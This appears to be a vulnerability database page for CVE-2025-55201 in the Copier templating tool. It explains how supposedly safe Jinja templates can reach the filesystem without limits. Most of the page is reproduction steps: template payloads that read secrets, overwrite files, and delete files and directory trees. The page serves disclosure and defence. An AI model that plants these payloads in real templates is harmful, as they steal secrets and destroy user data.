CVE-2025-55201 is a low severity vulnerability with a CVSS score of 0.0. No known exploits currently, and patches are available.
Very low probability of exploitation
EPSS predicts the probability of exploitation in the next 30 days based on real-world threat data, complementing CVSS severity scores with actual risk assessment.
Copier's current security model shall restrict filesystem access through Jinja:
{% include ... %}, which is limited by Jinja to reading files from the subtree of the local template clone in our case.Copier suggests that it's safe to generate a project from a safe template, i.e. one that doesn't use unsafe features like custom Jinja extensions which would require passing the --UNSAFE,--trust flag. As it turns out, a safe template can currently read and write arbitrary files because we expose a few pathlib.Path objects in the Jinja context which have unconstrained I/O methods. This effectively renders our security model w.r.t. filesystem access useless.
Imagine, e.g., a malicious template author who creates a template that reads SSH keys or other secrets from well-known locations, perhaps "masks" them with Base64 encoding to reduce detection risk, and hopes for a user to push the generated project to a public location like github.com where the template author can extract the secrets.
Reproducible example:
Read known file:
echo "s3cr3t" > secret.txt
mkdir src/
echo "stolen secret: {{ (_copier_conf.dst_path / '..' / 'secret.txt').resolve().read_text('utf-8') }}" > src/stolen-secret.txt.jinja
uvx copier copy src/ dst/
cat dst/stolen-secret.txt
Read unknown file(s) via globbing:
mkdir secrets/
echo "s3cr3t #1" > secrets/secret1.txt
echo "s3cr3t #2" > secrets/secret2.txt
mkdir src/
cat <<'EOF' > src/stolen-secrets.txt.jinja
stolen secrets:
{% set parent = (_copier_conf.dst_path / '..' / 'secrets').resolve() %}
{% for f in parent.glob('*.txt') %}
{{ f }}: {{ f.read_text('utf-8') }}
{% endfor %}
EOF
uvx copier copy src/ dst/
cat dst/stolen-secrets.txt
Imagine, e.g., a malicious template author who creates a template that overwrites or even deletes files to cause havoc.
Please cite this page when referencing data from Strobes VI. Proper attribution helps support our vulnerability intelligence research.
Reproducible examples:
Overwrite known file:
echo "s3cr3t" > secret.txt
mkdir src/
echo "{{ (_copier_conf.dst_path / '..' / 'secret.txt').resolve().write_text('OVERWRITTEN', 'utf-8') }}" > src/malicious.txt.jinja
uvx copier copy src/ dst/
cat secret.txt
Overwrite unknown file(s) via globbing:
echo "s3cr3t" > secret.txt
mkdir src/
cat <<'EOF' > src/malicious.txt.jinja
{% set parent = (_copier_conf.dst_path / '..').resolve() %}
{% for f in (parent.glob('*.txt') | list) %}
{{ f.write_text('OVERWRITTEN', 'utf-8') }}
{% endfor %}
EOF
uvx copier copy src/ dst/
cat secret.txt
Delete unknown file(s) via globbing:
echo "s3cr3t" > secret.txt
mkdir src/
cat <<'EOF' > src/malicious.txt.jinja
{% set parent = (_copier_conf.dst_path / '..').resolve() %}
{% for f in (parent.glob('*.txt') | list) %}
{{ f.unlink() }}
{% endfor %}
EOF
uvx copier copy src/ dst/
cat secret.txt
Delete unknown files and directories via tree walking:
mkdir data
mkdir data/a
mkdir data/a/b
echo "foo" > data/foo.txt
echo "bar" > data/a/bar.txt
echo "baz" > data/a/b/baz.txt
tree data/
mkdir src/
cat <<'EOF' > src/malicious.txt.jinja
{% set parent = (_copier_conf.dst_path / '..' / 'data').resolve() %}
{% for root, dirs, files in parent.walk(top_down=False) %}
{% for name in files %}
{{ (root / name).unlink() }}
{% endfor %}
{% for name in dirs %}
{{ (root / name).rmdir() }}
{% endfor %}
{% endfor %}
EOF
uvx copier copy src/ dst/
tree data/